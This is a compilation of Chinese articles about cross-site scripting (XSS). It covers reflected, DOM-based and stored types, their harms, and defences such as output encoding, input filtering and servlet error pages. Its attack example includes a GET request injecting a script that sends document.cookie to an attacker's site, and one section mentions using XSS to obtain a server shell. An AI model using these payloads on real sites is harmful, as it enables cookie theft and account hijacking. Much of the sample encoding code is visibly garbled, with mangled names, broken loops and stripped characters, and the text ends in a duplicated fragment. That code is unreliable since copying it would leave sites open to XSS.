文章目录：
- 1、Web前端新手应该如何防御XSS攻击
- 2、【web安全】xss跨站脚本攻击有哪些？
- 3、什么是XSS跨站脚本攻击
- 4、如何防止跨站点脚本攻击
- 5、跨站脚本攻击xss的原理是什么？有什么危害？如何防范
Web前端新手应该如何防御XSS攻击
今天小编要跟大家分享的文章是关于Web前端新手应该如何防御XSS攻击。作为JS系工程师接触最多的漏洞我想就是XSS漏洞了，然而并不是所有的同学对其都有一个清晰的认识。今天我们分享一下XSS漏洞攻击，希望能帮助到大家。下面我们来一起看一看吧！
一、什么是XSS攻击
XSS（Cross-SiteScripting）又称跨站脚本，XSS的重点不在于跨站点，而是在于脚本的执行。XSS是一种经常出现在Web应用程序中的计算机安全漏洞，是由于Web应用程序对用户的输入过滤不足而产生的。
常见的XSS攻击有三种：反射型、DOM-based型、存储型。其中反射型、DOM-based型可以归类为非持久型XSS攻击，存储型归类为持久型XSS攻击。
1、反射型
反射型XSS一般是攻击者通过特定手法（如电子邮件），诱使用户去访问一个包含恶意代码的URL，当受害者点击这些专门设计的链接的时候，恶意代码会直接在受害者主机上的浏览器执行。
对于访问者而言是一次性的，具体表现在我们把我们的恶意脚本通过URL的方式传递给了服务器，而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。反射型XSS的触发有后端的参与，要避免反射性XSS，必须需要后端的协调，后端解析前端的数据时首先做相关的字串检测和转义处理。
此类XSS通常出现在网站的搜索栏、用户登录口等地方，常用来窃取客户端Cookies或进行钓鱼欺骗。
整个攻击过程大约如下：
2、DOM-based型
客户端的脚本程序可以动态地检查和修改页面内容，而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行，如果用户在客户端输入的数据包含了恶意的JavaScript脚本，而这些脚本没有经过适当的过滤和消毒，那么应用程序就可能受到DOM-basedXSS攻击。需要特别注意以下的用户输入源document.URL、location.hash、location.search、document.referrer等。
整个攻击过程大约如下：
3、存储型
攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客，都有可能会执行这段恶意脚本，因此储存型XSS的危害会更大。
存储型XSS一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。
整个攻击过程大约如下：
二、XSS攻击的危害
XSS可以导致：
1、攻击劫持访问；
2、盗用cookie实现无密码登录；
3、配合csrf攻击完成恶意请求；
4、使用js或css破坏页面正常的结构与样式等；
三、防御方法
1、XSS防御之HTML编码
应用范围：将不可信数据放入到HTML标签内（例如div、span等）的时候进行HTML编码。
编码规则：将"'/转义为实体字符（或者十进制、十六进制）。
示例代码：
_unction_ncodeForHTML(str,_wargs){
__return(''+_tr)
___.replace(//g,'')
___.replace(/,'')__//_EC=_EX=_ntity=
___.replace(//g,'')
___.replace(/"/g,'"')
___.replace(/'/g,''')_//'_煌萍觯蛭辉_TML规范中
___.replace(/\//g,'/');
_};
HTML有三种编码表现方式：十进制、十六进制、命名实体。例如小于号（
2、XSS防御之HTMLAttribute编码
应用范围：将不可信数据放入HTML属性时（不含src、href、style和事件处理属性），进行HTMLAttribute编码
编码规则：除了字母数字字符以外，使用HH;(或者可用的命名实体)格式来转义ASCII值小于256所有的字符
示例代码：
_unction_ncodeForHTMLAttibute(str,_wargs){
__let_ncoded='';
__for(let_=0;____let_h=_ex=_tr[i];
___if(!/[A-Za-z0-9]/.test(str[i])_tr.charCodeAt(i)____hex=''+_h.charCodeAt(0).toString(16)+';';
___}
___encoded+=_ex;
__}
__return_ncoded;
_};
3、XSS防御之JavaScript编码
作用范围：将不可信数据放入事件处理属性、JavaScirpt值时进行JavaScript编码
编码规则：除字母数字字符外，请使用xHH格式转义ASCII码小于256的所有字符
示例代码：
_unction_ncodeForJavascript(str,_wargs)_
__let_ncoded='';
__for(let_=0;____let_c=_ex=_tr[i];
___if(!/[A-Za-z0-9]/.test(str[i])_tr.charCodeAt(i)____hex='\\x'+_c.charCodeAt().toString(16);
___}
___encoded+=_ex;
__}
__return_ncoded;
_};
4、XSS防御之URL编码
作用范围：将不可信数据作为URL参数值时需要对参数进行URL编码
编码规则：将参数值进行encodeURIComponent编码
示例代码：
_function_ncodeForURL(str,_wargs){
__return_ncodeURIComponent(str);
_};
5、XSS防御之CSS编码
作用范围：将不可信数据作为CSS时进行CSS编码
编码规则：除了字母数字字符以外，使用XXXXXX格式来转义ASCII值小于256的所有字符
示例代码：
_unction_ncodeForCSS(attr,_tr,_wargs){
__let_ncoded='';
__for(let_=0;____let_h=_tr.charAt(i);
___if(!ch.match(/[a-zA-Z0-9]/)_
____let_ex=_tr.charCodeAt(i).toString(16);
____let_ad='000000'.substr((hex.length));
____encoded+='\\'+_ad+_ex;
___}_lse_
____encoded+=_h;
___}
__}
__return_ncoded;
_};
后记
在任何时候用户的输入都是不可信的。对于HTTP参数，理论上都要进行验证，例如某个字段是枚举类型，其就不应该出现枚举以为的值；对于不可信数据的输出要进行相应的编码；此外httpOnly、CSP、X-XSS-Protection、SecureCookie等也可以起到有效的防护。
XSS漏洞有时比较难发现，所幸当下React、Vue等框架都从框架层面引入了XSS防御机制，一定程度上解放了我们的双手。
但是作为开发人员依然要了解XSS基本知识、于细节处避免制造XSS漏洞。框架是辅助，我们仍需以人为本，规范开发习惯，提高Web前端安全意识。
以上就是小编今天为大家分享的关于Web前端新手应该如何防御XSS攻击的文章，希望本篇文章能够对正在从事web前端工作的小伙伴们有所帮助。想要了解更多web前端相关知识记得关注北大青鸟web培训官网。最后祝愿小伙伴们工作顺利！
作者：公子
链接：#/a/1190000017057646
【web安全】xss跨站脚本攻击有哪些？
xss攻击可以分成两种类型：
1.非持久型攻击
2.持久型攻击
非持久型xss攻击：顾名思义，非持久型xss攻击是一次性的，仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户游览器执行，从而达到攻击目的。
持久型xss攻击：持久型xss，会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在。
也可以分成三类:
反射型：经过后端，不经过数据库
存储型：经过后端，经过数据库
DOM：不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
什么是XSS跨站脚本攻击
什么是XSS攻击XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术，但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言，我把XSS攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击，主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个有跨站漏洞的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。
如何防止跨站点脚本攻击
防止跨站点脚本攻击的解决方法：
1.输入过滤
对每一个用户的输入或者请求首部，都要进行过滤。这需要程序员有良好的安全素养，而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题，如错误页等。
final String filterPattern="[{}\\[\\];\\]";
String inputStr = s.replaceAll(filterPattern," ");
2.输出过滤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 0xf) 4) +
(b2 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
!-- Maps the 404 Not Found response code
to the error page /errPage404 --
error-page
error-code404/error-code
location/errPage404/location
/error-page
!-- Maps any thrown ServletExceptions
to the error page /errPageServ --
error-page
exception-typejavax.servlet.ServletException/exception-type
location/errPageServ/location
/error-page
!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric --
error-page
exception-typejava.lang.Throwable/exception-type
location/errPageGeneric/location
/error-page
任何的非servlet例外都被/errPageGeneric路径捕捉，这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安装三方的应用防火墙，可以拦截css攻击。
附：
跨站脚本不像其他攻击只包含两个部分：攻击者和web站点。
跨站脚本包含三个部分：攻击者，客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies，或者其他可以证明用户身份的敏感信息。
攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
会产生如下的结果
HTML
TitleWelcome!/Title
Hi Joe Hacker
BR
Welcome to our system
...
/HTML
但是如果请求被篡改
GET /welcome.cgi?name=scriptalert(document.cookie)/script HTTP/1.0
Host:
就会得到如下的响应
HTML
TitleWelcome!/Title
Hi scriptalert(document.cookie)/script
BR
Welcome to our system
...
/HTML
这样在客户端会有一段非法的脚本执行，这不具有破坏作用，但是如下的脚本就很危险了。
;scriptwindow.open(“”%2Bdocument.cookie)/script
响应如下：
HTML
TitleWelcome!/Title
Hi
scriptwindow.open(“”+document.cookie)/script
BR
Welcome to our system
...
/HTML
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站，这样攻击者就得到了客户的cookie。
跨站脚本攻击xss的原理是什么？有什么危害？如何防范
xxs攻击原理是网页对用户输入的字符串过滤不严，导致在提交输入信息的时候浏览器执行了黑客嵌入的xxs脚本，致使用户信息泄露。黑客可将伪装过的含义脚本语句的链接发送给受害者，当受害者点击链接的时候，由于网页没有过滤脚本语句，所以浏览器执行了脚本语句，而这个脚本语句的作用是将用户的cookie发送到黑客指定的地址，然后黑客就可以利用受害者的cookie窃取受害者的个人信息等等。这种攻击对服务器没有多大危害，但对用户危害很大，要防范这种攻击应该在设计网站的时候对用户提交的内容进行严格的过滤。
URL、location.hash、location.search、document.referrer等。整个攻击过程大约如下：3、存储型攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行